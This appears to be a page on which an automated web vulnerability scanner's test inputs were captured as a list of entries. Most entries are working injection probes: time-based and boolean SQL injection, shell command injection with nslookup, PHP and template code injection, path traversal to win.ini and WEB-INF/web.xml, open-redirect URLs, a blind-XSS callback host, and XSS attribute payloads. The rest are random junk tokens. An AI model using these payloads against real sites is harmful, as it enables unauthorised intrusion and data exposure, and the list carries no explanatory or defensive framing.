• 
• xckimmxh

• 
• gpyjiyvh

• 
• response.write(9621226*9340872)

• 
• '+response.write(9621226*9340872)+'

• 
• "+response.write(9621226*9340872)+"

• 
• jrlduriy

• 
• jrlduriy

• 
• E5tIVAT6

• 
• osgxrkda

• 
• osgxrkda

• 
• osgxrkda

• 
• osgxrkda

• 

• 
• 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

• 

• 
• osgxrkda

• 
• ${9999839+9999591}

• 
• set|set&set

• 
• $(nslookup 6z5JRWoU)

• 
• &nslookup YFLW998B&'\"`0&nslookup YFLW998B&`'

• 
• wgceyirf

• 
• RGZIWmhySzU=

• 
• http://some-inexistent-website.acu/some_inexistent

• 
• 1some_inexistent_file_with_long_name%00.jpg

• 
• Http://testasp.vulnweb.com/t/fit.txt

• 
• http://testasp.vulnweb.com/t/fit.txt%3F.jpg

• 
• testasp.vulnweb.com

• 
• nvkqamyy&n942132=v969996

• 
• )

• 
• !(()&&!|*|*|

• 
• ^(#$!@#$)(()))******

• 
• wgceyirf

• 
• wgceyirf

• 

• 
• '"()

• 
• ;print(md5(acunetix_wvs_security_test));

• 
• aqehhsbm

• 
• ';print(md5(acunetix_wvs_security_test));$a='

• 
• ";print(md5(acunetix_wvs_security_test));$a="

• 
• http://testasp.vulnweb.com/t/xss.html?%00.jpg

• 
• ${@print(md5(acunetix_wvs_security_test))}

• 
• dtdeopys

• 
• dtdeopys

• 
• ${@print(md5(acunetix_wvs_security_test))}\

• 
• dtdeopys

• 
• http://hitI8sUx9S0cS.bxss.me/

• 
• dtdeopys

• 
• hvfymtig

• 
• ../../../../../../../../../../windows/win.ini

• 
• ../../../../../../../../../../boot.ini

• 
• ../../../../../../../../../../windows/win.ini%00.j

• 
• %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c

• 
• ................windowswin.ini

• 
• ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5c

• 
• /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

• 
• ../..//../..//../..//../..//../..//../..//../..//.

• 
• ../.../.././../.../.././../.../.././../.../.././..

• 
• unexisting/../../../../../../../../../../windows/w

• 
• WEB-INF/web.xml

• 
• WEB-INF\web.xml

• 
• ))))))))))))))))))))))))))))))))))))))))))))))))))

• 
• /www.vulnweb.com

• 
• 966645

• 
• http://www.vulnweb.com

• 
• //www.vulnweb.com

• 
• /\www.vulnweb.com

• 
• jikfscgl

• 
• jrlduriy

• 
• jrlduriy

• 
• pjZF0wd9

• 
• -1 OR 2+566-566-1=0+0+0+1 --

• 
• -1 OR 2+108-108-1=0+0+0+1

• 
• -1' OR 2+158-158-1=0+0+0+1 --

• 
• -1' OR 2+947-947-1=0+0+0+1 or 'czcbTX0m'='

• 
• -1" OR 2+17-17-1=0+0+0+1 --

• 
• if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysd

• 
• (select(0)from(select(sleep(9)))v)/*'+(select(0)fr

• 
• 1 waitfor delay '0:0:3' --

• 
• o7Q9cCVe'; waitfor delay '0:0:3' --

• 
• '"

• 
• HK8epoxc'); waitfor delay '0:0:3' --

• 
• HYrlJVT5')); waitfor delay '0:0:3' --

• 
• kSQr8LNx';select pg_sleep(3); --

• 
• tnHlC6zP');select pg_sleep(3); --

• 
• 8Yt3or8A'));select pg_sleep(6); --

• 
• cuesbxsm

• 
• cuesbxsm

• 
• hvfymtig

• 
• hvfymtig

• 
• 1'"

• 
• \

• 
• 1����

• 
• @@I7w7l

• 
• JyI=

• 
• �'�"

• 
• �''�""

• 
• (select convert(int,CHAR(65)))

• 
• jrlduriy

• 
• jrlduriy

• 
• cuesbxsm

• 
• hvfymtig

• 
• wlssaowm_9160

• 
• acu3809%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3809

• 
• acux7336%C0%BEz1%C0%BCz2a%90bcxuca7336

• 
• {{9999282*9999571}}

• 
• wlssaowm" onmouseover=xbVO(9950) bad="

• 
• wlssaowm" rio3=xbVO([!+!]) 0yO="

• 
• wlssaowm\u0022 onmouseover=xbVO(9655) bad=\u0022

• 
• %77%6C%73%73%61%6F%77%6D%22%20%6F%6E%6D%6F%75%73%6

• 
• �" onmouseover=xbVO(9189) //

• 
• wlssaowm"sTYLe='acu:Expre/**/SSion(xbVO(9680))'bad